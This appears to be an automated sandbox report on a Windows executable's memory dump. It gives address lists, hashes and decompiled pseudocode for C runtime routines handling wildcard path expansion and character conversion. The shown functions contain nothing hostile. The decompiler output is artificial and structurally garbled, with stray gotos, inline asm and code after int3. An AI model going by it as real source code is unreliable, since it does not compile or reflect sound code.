0x00b07a2e
0x00b079cf
0x00b07a33
0x00b07a36
0x00000000
0x00b07a38
0x00b07a38
0x00b07a3b
0x00b07a3b
0x00b07a3d
0x00b07a3e
0x00b07a3e
0x00b07a4a
0x00b07a52
0x00b07a55
0x00b07a56
0x00b07a58
0x00b07aa0
0x00b07aa1
0x00000000
0x00b07a5a
0x00b07a61
0x00b07a66
0x00b07a69
0x00b07a6b
0x00b07ac7
0x00b07ac8
0x00b07ac9
0x00b07aca
0x00b07acb
0x00b07acc
0x00b07ad1
0x00b07ad4
0x00b07ad8
0x00b07ad9
0x00b07adc
0x00b07ade
0x00b07ae7
0x00b07ae9
0x00b07aeb
0x00b07aed
0x00b07aef
0x00b07aef
0x00b07af2
0x00b07af3
0x00b07af3
0x00b07aef
0x00b07af9
0x00b07b04
0x00b07b07
0x00b07b08
0x00b07b0a
0x00b07b72
0x00b07b72
0x00000000
0x00b07b0c
0x00b07b0c
0x00b07b0e
0x00b07b10
0x00b07b62
0x00b07b64
0x00b07b6a
0x00000000
0x00b07b12
0x00b07b12
0x00b07b15
0x00b07b15
0x00b07b17
0x00b07b17
0x00b07b17
0x00b07b1a
0x00b07b1a
0x00b07b1c
0x00b07b1d
0x00b07b1d
0x00b07b25
0x00b07b29
0x00b07b33
0x00b07b36
0x00b07b3b
0x00b07b3e
0x00b07b42
0x00000000
0x00b07b44
0x00b07b4c
0x00b07b51
0x00b07b54
0x00b07b56
0x00b07b77
0x00b07b79
0x00b07b7a
0x00b07b7b
0x00b07b7c
0x00b07b7d
0x00b07b7e
0x00b07b83
0x00b07b84
0x00b07b89
0x00b07b8f
0x00b07b91
0x00b07b92
0x00b07b98
0x00000000
0x00b07b98
0x00b07b9d
0x00000000
0x00000000
0x00000000
0x00b07b56
0x00000000
0x00b07b58
0x00b07b58
0x00b07b5b
0x00b07b5d
0x00b07b5d
0x00000000
0x00b07b61
0x00b07b10
0x00b07ae0
0x00b07ae0
0x00b07b6d
0x00b07b71
0x00b07b71
0x00b07a6d
0x00b07a7e
0x00b07a82
0x00b07a87
0x00b07a8e
0x00b07a90
0x00b07a92
0x00b07a97
0x00b07a97
0x00b07a9a
0x00b07a9a
0x00000000
0x00b07a90
0x00b07a6b
0x00b07a58
0x00b07a36
0x00b07990
0x00b0798c
0x00b078eb
0x00b078eb
0x00b078ee
0x00b0790c
0x00b0790c
0x00b0790f
0x00b07922
0x00b07927
0x00b0792c
0x00b0792f
0x00b07935
0x00b07ab4
0x00b07ab4
0x00b07ab4
0x00000000
0x00b0793b
0x00b0793b
0x00b07941
0x00000000
0x00b07943
0x00b0794d
0x00b07952
0x00b07957
0x00b0795a
0x00b07960
0x00000000
0x00000000
0x00000000
0x00000000
0x00b07960
0x00b07941
0x00b07911
0x00b07911
0x00b07ab7
0x00b07ab8
0x00b07abf
0x00000000
0x00b07ac1
0x00b078f0
0x00b078f0
0x00b078f6
0x00000000
0x00b078f8
0x00b078f8
0x00b078fd
0x00b078ff
0x00000000
0x00b07905
0x00b07905
0x00000000
0x00b07905
0x00b078ff
0x00b078f6
0x00b078ee
0x00b078e9
0x00b078d0
0x00b078a2
0x00b078a2
0x00b078a7
0x00b078ad
0x00b07ac2
0x00b07ac6
0x00b07ac6
0x00000000

APIs

___from_strstr_to_strchr.LIBCMT ref: 00B078BC
_free.LIBCMT ref: 00B07995
_free.LIBCMT ref: 00B079C2

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 549ada9a351861d8b40e7c8c92ecc1397ab3db591153036042120d71f744eeb2
Instruction ID: 67b2127843c5d2b4a506bfbf546987602ecb216e19e494d4939e82ff95ab9180
Opcode Fuzzy Hash: 549ada9a351861d8b40e7c8c92ecc1397ab3db591153036042120d71f744eeb2
Instruction Fuzzy Hash: 9351B971E88245BFDB20AFB49881A6DBFE4EF16314F1481EAF514972D2DE31AA40CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00B06A94, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 207
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00B06A94(signed int* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr* _v72;
				intOrPtr _v104;
				intOrPtr* _v108;
				intOrPtr _v112;
				signed int _v124;
				intOrPtr _v290;
				intOrPtr _v291;
				char _v292;
				char _v336;
				intOrPtr* _v340;
				signed int _v344;
				signed int _v348;
				intOrPtr _v448;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t103;
				signed int _t106;
				signed int _t111;
				signed int _t112;
				intOrPtr* _t122;
				intOrPtr _t124;
				intOrPtr _t125;
				void* _t129;
				intOrPtr _t131;
				void* _t136;
				signed int _t138;
				intOrPtr _t140;
				signed char _t141;
				intOrPtr* _t149;
				void* _t154;
				signed int _t163;
				signed int _t166;
				void* _t168;
				signed int _t169;
				signed int _t170;
				intOrPtr _t172;
				signed int _t174;
				signed int _t175;
				signed int* _t176;
				signed int _t179;
				void* _t182;
				intOrPtr _t183;
				intOrPtr* _t184;
				void* _t185;
				intOrPtr _t187;
				signed int _t190;
				signed int _t191;
				signed int _t192;
				signed int _t194;
				intOrPtr* _t197;
				signed int _t199;
				intOrPtr* _t202;
				intOrPtr _t212;
				signed int _t219;
				intOrPtr* _t220;
				signed int _t228;
				intOrPtr* _t231;
				void* _t233;
				signed int _t236;
				signed int _t239;
				signed int _t241;
				intOrPtr _t243;
				void* _t244;
				signed int* _t248;
				signed int _t249;
				signed int _t251;
				signed int _t252;
				signed int _t253;
				signed int _t255;
				intOrPtr _t256;
				void* _t257;
				signed int _t258;
				void* _t262;
				void* _t264;
				void* _t265;
				void* _t266;
				signed int _t267;
				void* _t268;
				void* _t269;

				_t103 = _a8;
				_t265 = _t264 - 0x28;
				if(_t103 != 0) {
					_t248 = _a4;
					_t179 = 0;
					 *_t103 = 0;
					_t239 = 0;
					_t104 =  *_t248;
					_t190 = 0;
					_v44 = 0;
					_v40 = 0;
					_v36 = 0;
					if( *_t248 == 0) {
						L9:
						_v8 = _t179;
						_t106 = _t190 - _t239;
						_t249 = _t239;
						_v12 = _t249;
						_t227 = (_t106 >> 2) + 1;
						_v16 = (_t106 >> 2) + 1;
						asm("sbb esi, esi");
						_t251 =  !_t249 & _t106 + 0x00000003 >> 0x00000002;
						if(_t251 != 0) {
							_t170 = _t239;
							_t236 = _t179;
							do {
								_t220 =  *_t170;
								_t20 = _t220 + 1; // 0x1
								_v20 = _t20;
								do {
									_t172 =  *_t220;
									_t220 = _t220 + 1;
								} while (_t172 != 0);
								_t179 = _t179 + 1 + _t220 - _v20;
								_t170 = _v12 + 4;
								_t236 = _t236 + 1;
								_v12 = _t170;
							} while (_t236 != _t251);
							_t227 = _v16;
							_v8 = _t179;
							_t179 = 0;
						}
						_t252 = E00AFE01E(_t227, _v8, 1);
						_t266 = _t265 + 0xc;
						if(_t252 != 0) {
							_v12 = _t239;
							_t111 = _t252 + _v16 * 4;
							_t191 = _t111;
							_v28 = _t111;
							_t112 = _t239;
							_v16 = _t191;
							if(_t112 == _v40) {
								L24:
								_v12 = _t179;
								 *_a8 = _t252;
								_t253 = _t179;
								goto L25;
							} else {
								_v32 = _t252 - _t239;
								do {
									_t122 =  *_t112;
									_t231 = _t122;
									_v24 = _t122;
									_v20 = _t231 + 1;
									do {
										_t124 =  *_t231;
										_t231 = _t231 + 1;
									} while (_t124 != 0);
									_t125 = _t231 - _v20 + 1;
									_push(_t125);
									_v20 = _t125;
									_t129 = E00B0BC33(_t191, _v28 - _t191 + _v8, _v24);
									_t266 = _t266 + 0x10;
									if(_t129 != 0) {
										_push(_t179);
										_push(_t179);
										_push(_t179);
										_push(_t179);
										_push(_t179);
										E00AF527C();
										asm("int3");
										_t262 = _t266;
										_push(_t191);
										_t197 = _v72;
										_t65 = _t197 + 1; // 0x1
										_t233 = _t65;
										do {
											_t131 =  *_t197;
											_t197 = _t197 + 1;
										} while (_t131 != 0);
										_push(_t239);
										_t241 = _a8;
										_t199 = _t197 - _t233 + 1;
										_v12 = _t199;
										if(_t199 <=  !_t241) {
											_push(_t179);
											_push(_t252);
											_t68 = _t241 + 1; // 0x1
											_t182 = _t68 + _t199;
											_t256 = E00B00B22(_t199, _t182, 1);
											if(_t241 == 0) {
												L39:
												_push(_v12);
												_t182 = _t182 - _t241;
												_t136 = E00B0BC33(_t256 + _t241, _t182, _v0);
												_t267 = _t266 + 0x10;
												if(_t136 != 0) {
													goto L45;
												} else {
													_t187 = _a12;
													_t163 = E00B06EB8(_t187, _t233);
													_v12 = _t163;
													if(_t163 == 0) {
														 *((intOrPtr*)( *((intOrPtr*)(_t187 + 4)))) = _t256;
														_t258 = 0;
														 *((intOrPtr*)(_t187 + 4)) =  *((intOrPtr*)(_t187 + 4)) + 4;
													} else {
														E00B00B7F(_t256);
														_t258 = _v12;
													}
													E00B00B7F(0);
													_t166 = _t258;
													goto L44;
												}
											} else {
												_push(_t241);
												_t168 = E00B0BC33(_t256, _t182, _a4);
												_t267 = _t266 + 0x10;
												if(_t168 != 0) {
													L45:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E00AF527C();
													asm("int3");
													_push(_t262);
													_t263 = _t267;
													_t268 = _t267 - 0x150;
													_t138 =  *0xb42074; // 0x80d348a2
													_v124 = _t138 ^ _t267;
													_t202 = _v108;
													_push(_t182);
													_t183 = _v104;
													_push(0);
													_t243 = _v112;
													_v448 = _t183;
													while(_t202 != _t243) {
														_t140 =  *_t202;
														if(_t140 != 0x2f && _t140 != 0x5c && _t140 != 0x3a) {
															_t202 = E00B0E3DD(_t243, _t202);
															continue;
														}
														break;
													}
													_t234 =  *_t202;
													if(_t234 != 0x3a || _t202 == _t243 + 1) {
														_t184 = 0;
														if(_t234 == 0x2f || _t234 == 0x5c) {
															L58:
															_t141 = 1;
														} else {
															_t141 = 0;
															if(_t234 == 0x3a) {
																goto L58;
															}
														}
														_push(_t256);
														asm("sbb eax, eax");
														_v344 =  ~(_t141 & 0x000000ff) & _t202 - _t243 + 0x00000001;
														E00AF1C70(_t243,  &_v336, _t184, 0x140);
														_t257 = E00B0E180(_t243, _t184,  &_v336, _t184, _t184, _t184);
														_t269 = _t268 + 0x24;
														_t149 = _v340;
														if(_t257 != 0xffffffff) {
															_v348 =  *((intOrPtr*)(_t149 + 4)) -  *_t149 >> 2;
															do {
																if(_v292 != 0x2e) {
																	L71:
																	_push(_t149);
																	_push(_v344);
																	_t149 =  &_v292;
																	_push(_t243);
																	_push(_t149);
																	L33();
																	_t269 = _t269 + 0x10;
																	if(_t149 != 0) {
																		goto L61;
																	} else {
																		goto L72;
																	}
																} else {
																	_t212 = _v291;
																	if(_t212 == 0 || _t212 == 0x2e && _v290 == _t184) {
																		goto L72;
																	} else {
																		goto L71;
																	}
																}
																goto L65;
																L72:
																_t154 = E00B0E29C(_t257,  &_v336);
																_t149 = _v340;
															} while (_t154 != 0);
															_t234 =  *_t149;
															_t213 = _v348;
															_t157 =  *((intOrPtr*)(_t149 + 4)) -  *_t149 >> 2;
															if(_v348 !=  *((intOrPtr*)(_t149 + 4)) -  *_t149 >> 2) {
																E00B0DCF0(_t234, _t234 + _t213 * 4, _t157 - _t213, 4, E00B06A7C);
															}
														} else {
															_push(_t149);
															_push(_t184);
															_push(_t184);
															_push(_t243);
															L33();
															L61:
															_t184 = _t149;
														}
														if(_t257 != 0xffffffff) {
															FindClose(_t257);
														}
														_pop(_t256);
													} else {
														_push(_t183);
														_push(0);
														_push(0);
														_push(_t243);
														L33();
													}
													L65:
													_pop(_t244);
													_pop(_t185);
													return E00ADA4E2(_t185, _v16 ^ _t263, _t234, _t244, _t256);
												} else {
													goto L39;
												}
											}
										} else {
											_t166 = 0xc;
											L44:
											return _t166;
										}
									} else {
										goto L23;
									}
									goto L75;
									L23:
									_t169 = _v12;
									_t219 = _v16;
									 *((intOrPtr*)(_v32 + _t169)) = _t219;
									_t112 = _t169 + 4;
									_t191 = _t219 + _v20;
									_v16 = _t191;
									_v12 = _t112;
								} while (_t112 != _v40);
								goto L24;
							}
						} else {
							_t253 = _t252 | 0xffffffff;
							_v12 = _t253;
							L25:
							E00B00B7F(_t179);
							_pop(_t192);
							goto L26;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t179;
							_t174 = E00B0E140(_t104,  &_v8);
							_t192 =  *_t248;
							if(_t174 != 0) {
								_push( &_v44);
								_push(_t174);
								_push(_t192);
								L46();
								_t265 = _t265 + 0xc;
								_v12 = _t174;
								_t253 = _t174;
							} else {
								_t175 =  &_v44;
								_push(_t175);
								_push(_t179);
								_push(_t179);
								_push(_t192);
								L33();
								_t253 = _t175;
								_t265 = _t265 + 0x10;
								_v12 = _t253;
							}
							if(_t253 != 0) {
								break;
							}
							_t248 =  &(_a4[1]);
							_a4 = _t248;
							_t104 =  *_t248;
							if( *_t248 != 0) {
								continue;
							} else {
								_t239 = _v44;
								_t190 = _v40;
								goto L9;
							}
							goto L75;
						}
						_t239 = _v44;
						L26:
						_t228 = _t239;
						_v32 = _t228;
						asm("sbb ecx, ecx");
						_t194 =  !_t192 & _v40 - _t228 + 0x00000003 >> 0x00000002;
						_v28 = _t194;
						if(_t194 != 0) {
							_t255 = _t194;
							do {
								E00B00B7F( *_t239);
								_t179 = _t179 + 1;
								_t239 = _t239 + 4;
							} while (_t179 != _t255);
							_t239 = _v44;
							_t253 = _v12;
						}
						E00B00B7F(_t239);
						goto L31;
					}
				} else {
					_t176 = E00AF654C();
					_t253 = 0x16;
					 *_t176 = _t253;
					E00AF524F();
					L31:
					return _t253;
				}
				L75:
			}

0x00b06a99
0x00b06a9c
0x00b06aa2
0x00b06ab8
0x00b06abc
0x00b06abf
0x00b06ac1
0x00b06ac3
0x00b06ac5
0x00b06ac7
0x00b06aca
0x00b06acd
0x00b06ad2
0x00b06b35
0x00b06b37
0x00b06b3a
0x00b06b3c
0x00b06b40
0x00b06b49
0x00b06b4f
0x00b06b52
0x00b06b56
0x00b06b58
0x00b06b5a
0x00b06b5c
0x00b06b5e
0x00b06b5e
0x00b06b60
0x00b06b63
0x00b06b66
0x00b06b66
0x00b06b68
0x00b06b69
0x00b06b74
0x00b06b76
0x00b06b79
0x00b06b7a
0x00b06b7d
0x00b06b81
0x00b06b84
0x00b06b87
0x00b06b87
0x00b06b94
0x00b06b96
0x00b06b9b
0x00b06bb3
0x00b06bb6
0x00b06bb9
0x00b06bbb
0x00b06bbe
0x00b06bc0
0x00b06bc6
0x00b06c23
0x00b06c26
0x00b06c29
0x00b06c2b
0x00000000
0x00b06bc8
0x00b06bcc
0x00b06bcf
0x00b06bcf
0x00b06bd1
0x00b06bd3
0x00b06bd9
0x00b06bdc
0x00b06bdc
0x00b06bde
0x00b06bdf
0x00b06be6
0x00b06be9
0x00b06bed
0x00b06bfa
0x00b06bff
0x00b06c04
0x00b06c7a
0x00b06c7b
0x00b06c7c
0x00b06c7d
0x00b06c7e
0x00b06c7f
0x00b06c84
0x00b06c88
0x00b06c8a
0x00b06c8b
0x00b06c8e
0x00b06c8e
0x00b06c91
0x00b06c91
0x00b06c93
0x00b06c94
0x00b06c98
0x00b06c99
0x00b06ca0
0x00b06ca3
0x00b06ca8
0x00b06caf
0x00b06cb0
0x00b06cb1
0x00b06cb4
0x00b06cbe
0x00b06cc4
0x00b06cd8
0x00b06cd8
0x00b06cdb
0x00b06ce5
0x00b06cea
0x00b06cef
0x00000000
0x00b06cf1
0x00b06cf1
0x00b06cf6
0x00b06cfd
0x00b06d02
0x00b06d13
0x00b06d15
0x00b06d17
0x00b06d04
0x00b06d05
0x00b06d0a
0x00b06d0d
0x00b06d1c
0x00b06d22
0x00000000
0x00b06d25
0x00b06cc6
0x00b06cc6
0x00b06ccc
0x00b06cd1
0x00b06cd6
0x00b06d2b
0x00b06d2d
0x00b06d2e
0x00b06d2f
0x00b06d30
0x00b06d31
0x00b06d32
0x00b06d37
0x00b06d3a
0x00b06d3b
0x00b06d3d
0x00b06d43
0x00b06d4a
0x00b06d4d
0x00b06d50
0x00b06d51
0x00b06d54
0x00b06d55
0x00b06d58
0x00b06d79
0x00b06d60
0x00b06d64
0x00b06d77
0x00000000
0x00b06d77
0x00000000
0x00b06d64
0x00b06d7d
0x00b06d82
0x00b06d9b
0x00b06da0
0x00b06dae
0x00b06dae
0x00b06da7
0x00b06da7
0x00b06dac
0x00000000
0x00000000
0x00b06dac
0x00b06db8
0x00b06db9
0x00b06dc2
0x00b06dd0
0x00b06de6
0x00b06de8
0x00b06deb
0x00b06df4
0x00b06e2b
0x00b06e31
0x00b06e38
0x00b06e51
0x00b06e51
0x00b06e52
0x00b06e58
0x00b06e5e
0x00b06e5f
0x00b06e60
0x00b06e65
0x00b06e6a
0x00000000
0x00000000
0x00000000
0x00000000
0x00b06e3a
0x00b06e3a
0x00b06e42
0x00000000
0x00000000
0x00000000
0x00000000
0x00b06e42
0x00000000
0x00b06e6c
0x00b06e74
0x00b06e7c
0x00b06e82
0x00b06e85
0x00b06e8a
0x00b06e92
0x00b06e97
0x00b06eab
0x00b06eb0
0x00b06df6
0x00b06df6
0x00b06df7
0x00b06df8
0x00b06df9
0x00b06dfa
0x00b06e02
0x00b06e02
0x00b06e02
0x00b06e07
0x00b06e0a
0x00b06e0a
0x00b06e12
0x00b06d8b
0x00b06d8b
0x00b06d8e
0x00b06d8f
0x00b06d90
0x00b06d91
0x00b06d96
0x00b06e13
0x00b06e16
0x00b06e19
0x00b06e22
0x00000000
0x00000000
0x00000000
0x00b06cd6
0x00b06caa
0x00b06cac
0x00b06d26
0x00b06d2a
0x00b06d2a
0x00000000
0x00000000
0x00000000
0x00000000
0x00b06c06
0x00b06c06
0x00b06c0c
0x00b06c0f
0x00b06c12
0x00b06c15
0x00b06c18
0x00b06c1b
0x00b06c1e
0x00000000
0x00b06bcf
0x00b06b9d
0x00b06b9d
0x00b06ba0
0x00b06c2d
0x00b06c2e
0x00b06c33
0x00000000
0x00b06c33
0x00b06ad4
0x00b06ad4
0x00b06ad7
0x00b06adf
0x00b06ae2
0x00b06ae9
0x00b06aed
0x00b06b08
0x00b06b09
0x00b06b0a
0x00b06b0b
0x00b06b10
0x00b06b13
0x00b06b16
0x00b06aef
0x00b06aef
0x00b06af2
0x00b06af3
0x00b06af4
0x00b06af5
0x00b06af6
0x00b06afb
0x00b06afd
0x00b06b00
0x00b06b00
0x00b06b1a
0x00000000
0x00000000
0x00b06b23
0x00b06b26
0x00b06b29
0x00b06b2d
0x00000000
0x00b06b2f
0x00b06b2f
0x00b06b32
0x00000000
0x00b06b32
0x00000000
0x00b06b2d
0x00b06ba8
0x00b06c34
0x00b06c37
0x00b06c3b
0x00b06c47
0x00b06c4b
0x00b06c4d
0x00b06c50
0x00b06c52
0x00b06c54
0x00b06c56
0x00b06c5b
0x00b06c5c
0x00b06c60
0x00b06c64
0x00b06c67
0x00b06c67
0x00b06c6b
0x00000000
0x00b06c72
0x00b06aa4
0x00b06aa4
0x00b06aab
0x00b06aac
0x00b06aae
0x00b06c73
0x00b06c79
0x00b06c79
0x00000000

APIs

_strpbrk.LIBCMT ref: 00B06AE2
_free.LIBCMT ref: 00B06C2E

Strings

., xrefs: 00B06E31
*?, xrefs: 00B06AD7

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free_strpbrk
String ID: *?$.
API String ID: 3300345361-3972193922
Opcode ID: e0424f87f222c19054232cffbef81e45e5c629a74d7d443d0dc3895c60327d28
Instruction ID: eb050f2ef19c9cc53bf1c175e084b92757f6b31e54def8d36a9881cd444eb523
Opcode Fuzzy Hash: e0424f87f222c19054232cffbef81e45e5c629a74d7d443d0dc3895c60327d28
Instruction Fuzzy Hash: D7614CB5E002199FDF24DFA8C8819EDFFF5EF48310B2481AAE855E7340D675AE518B90

Uniqueness

Uniqueness Score: -1.00%

Function 00AB4230, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 196
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00AB4230(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, intOrPtr _a4, signed char* _a8, intOrPtr _a12) {
				signed int _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v68;
				char _v72;
				intOrPtr _v76;
				signed int _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				signed char* _v92;
				signed int _v96;
				signed int _v100;
				char _v104;
				char _v116;
				char _v128;
				void* __ebp;
				signed int _t100;
				signed int _t101;
				void* _t147;
				intOrPtr _t151;
				intOrPtr _t172;
				intOrPtr _t193;
				void* _t206;
				void* _t207;
				signed int _t208;

				_t207 = __esi;
				_t206 = __edi;
				_t147 = __ebx;
				_push(0xffffffff);
				_push(E00B115C0);
				_push( *[fs:0x0]);
				_t100 =  *0xb42074; // 0x80d348a2
				_t101 = _t100 ^ _t208;
				_v20 = _t101;
				_push(_t101);
				 *[fs:0x0] =  &_v16;
				_v76 = __ecx;
				_v80 = 0;
				E00AA83B0();
				_v8 = 0;
				E00AA83B0();
				_v8 = 1;
				_v92 = _a8;
				_t151 = _v76;
				_t194 =  *(_t151 + 0x48) & 0x000000ff;
				if(( *(_t151 + 0x48) & 0x000000ff) == 0) {
					_v100 = 0;
					_v96 = 0;
					_t193 = _v76;
					_t194 = _v100;
					 *(_t193 + 0x40) = _v100;
					 *((intOrPtr*)(_t193 + 0x44)) = _v96;
				}
				E00AA97F0( &_v44, 8, 0);
				 *(_v76 + 0x4c) = 0;
				while(_a8 != _a12) {
					_v84 = E00AAAB00(E00AB4910( &_v44,  &_v104));
					_v88 = E00AB1610( *((intOrPtr*)(_v76 + 4)), _v76 + 0x40, _a8, _a12,  &_a8, _v84, _v84 + E00AA8020( &_v44) * 2,  &_v72);
					if(_v88 < 0) {
						L22:
						_t172 = _v76;
						_t194 =  *(_t172 + 0x4a) & 0x000000ff;
						if(( *(_t172 + 0x4a) & 0x000000ff) == 0) {
							E00AB1140( &_v128, "bad conversion");
							E00AF1677( &_v128, 0xb40684);
							goto L25;
						} else {
							E00AA8400(_a4, _v76 + 0x28);
							_v80 = _v80 | 0x00000001;
							_v8 = 0;
							E00AA8170();
							_v8 = 0xffffffff;
							E00AA8170();
						}
					} else {
						if(_v88 <= 1) {
							if(_v84 >= _v72) {
								if(E00AA8020( &_v44) >= 0x10) {
									if(( *(_v76 + 0x4a) & 0x000000ff) == 0) {
										E00AB1140( &_v116, "bad conversion");
										E00AF1677( &_v116, 0xb40684);
										goto L16;
									} else {
										_t194 = _v76 + 0x28;
										E00AA8400(_a4, _v76 + 0x28);
										_v80 = _v80 | 0x00000001;
										_v8 = 0;
										E00AA8170();
										_v8 = 0xffffffff;
										E00AA8170();
									}
								} else {
									E00AA97F0( &_v44, 8, 0);
									goto L16;
								}
							} else {
								E00AB4980(_t147,  &_v68, _t206, _t207, _v84, _v72 - _v84 >> 1);
								L16:
								goto L25;
							}
						} else {
							if(_v88 == 3) {
								while(_a8 != _a12) {
									E00AB38B0(_t147,  &_v68, _t206, _t207,  *_a8 & 0xff);
									_a8 =  &(_a8[1]);
								}
								L25:
								_t194 = _a8 - _v92;
								 *(_v76 + 0x4c) = _a8 - _v92;
								continue;
							} else {
								goto L22;
							}
						}
					}
					L27:
					 *[fs:0x0] = _v16;
					return E00ADA4E2(_t147, _v20 ^ _t208, _t194, _t206, _t207);
				}
				E00AA8250(_a4,  &_v68);
				_v80 = _v80 | 0x00000001;
				_v8 = 0;
				E00AA8170();
				_v8 = 0xffffffff;
				E00AA8170();
				goto L27;
			}

0x00ab4230
0x00ab4230
0x00ab4230
0x00ab4233
0x00ab4235
0x00ab4240
0x00ab4244
0x00ab4249
0x00ab424b
0x00ab424e
0x00ab4252
0x00ab4258
0x00ab425b
0x00ab4265
0x00ab426a
0x00ab4274
0x00ab4279
0x00ab4280
0x00ab4283
0x00ab4286
0x00ab428c
0x00ab4290
0x00ab4293
0x00ab4296
0x00ab4299
0x00ab429c
0x00ab42a2
0x00ab42a2
0x00ab42ac
0x00ab42b4
0x00ab42c9
0x00ab42e8
0x00ab4320
0x00ab4327
0x00ab440e
0x00ab440e
0x00ab4411
0x00ab4417
0x00ab445b
0x00ab4469
0x00000000
0x00ab4419
0x00ab4423
0x00ab442e
0x00ab4431
0x00ab4438
0x00ab443d
0x00ab4447
0x00ab444c
0x00ab432d
0x00ab4331
0x00ab4348
0x00ab436c
0x00ab4385
0x00ab43cc
0x00ab43da
0x00000000
0x00ab4387
0x00ab438a
0x00ab4391
0x00ab439c
0x00ab439f
0x00ab43a6
0x00ab43ab
0x00ab43b5
0x00ab43ba
0x00ab436e
0x00ab4375
0x00000000
0x00ab4375
0x00ab434a
0x00ab435a
0x00ab43df
0x00000000
0x00ab43df
0x00ab4333
0x00ab4337
0x00ab43ef
0x00ab4405
0x00ab43ec
0x00ab43ec
0x00ab446e
0x00ab42c0
0x00ab42c6
0x00000000
0x00ab433d
0x00000000
0x00ab433d
0x00ab4337
0x00ab4331
0x00ab44a6
0x00ab44a9
0x00ab44be
0x00ab44be
0x00ab447a
0x00ab4485
0x00ab4488
0x00ab448f
0x00ab4494
0x00ab449e
0x00000000

APIs

codecvt.LIBCPMTD ref: 00AB431B

Strings

bad conversion, xrefs: 00AB43C4, 00AB4453

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: codecvt
String ID: bad conversion
API String ID: 3662085145-2629740042
Opcode ID: 399225f8634cfe9de85efe131c9a7f935bdb8a985dcccfa268ba3284eb653cae
Instruction ID: ed6fb55527028e12831766a541856a9dc1b109f3c9a9fa0ad8cd17ed351b16ac
Opcode Fuzzy Hash: 399225f8634cfe9de85efe131c9a7f935bdb8a985dcccfa268ba3284eb653cae
Instruction Fuzzy Hash: FC814D71D04208DBCB14DF94C991BEEBBB5BF59310F24811DE516AB292DB34AE46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00AB3F00, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 193
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00AB3F00(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, intOrPtr _a4, signed char* _a8, intOrPtr _a12) {
				signed int _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v68;
				char _v72;
				intOrPtr _v76;
				signed int _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				signed char* _v92;
				signed int _v96;
				signed int _v100;
				char _v104;
				char _v116;
				char _v128;
				void* __ebp;
				signed int _t98;
				signed int _t99;
				void* _t146;
				intOrPtr _t150;
				intOrPtr _t169;
				intOrPtr _t178;
				intOrPtr _t189;
				signed int _t197;
				void* _t202;
				void* _t203;
				signed int _t204;

				_t203 = __esi;
				_t202 = __edi;
				_t146 = __ebx;
				_push(0xffffffff);
				_push(E00B11580);
				_push( *[fs:0x0]);
				_t98 =  *0xb42074; // 0x80d348a2
				_t99 = _t98 ^ _t204;
				_v20 = _t99;
				_push(_t99);
				 *[fs:0x0] =  &_v16;
				_v76 = __ecx;
				_v80 = 0;
				E00AB3DF0();
				_v8 = 0;
				E00AB3DF0();
				_v8 = 1;
				_v92 = _a8;
				_t150 = _v76;
				_t190 =  *(_t150 + 0x48) & 0x000000ff;
				if(( *(_t150 + 0x48) & 0x000000ff) == 0) {
					_v100 = 0;
					_v96 = 0;
					_t189 = _v76;
					_t190 = _v100;
					 *(_t189 + 0x40) = _v100;
					 *((intOrPtr*)(_t189 + 0x44)) = _v96;
				}
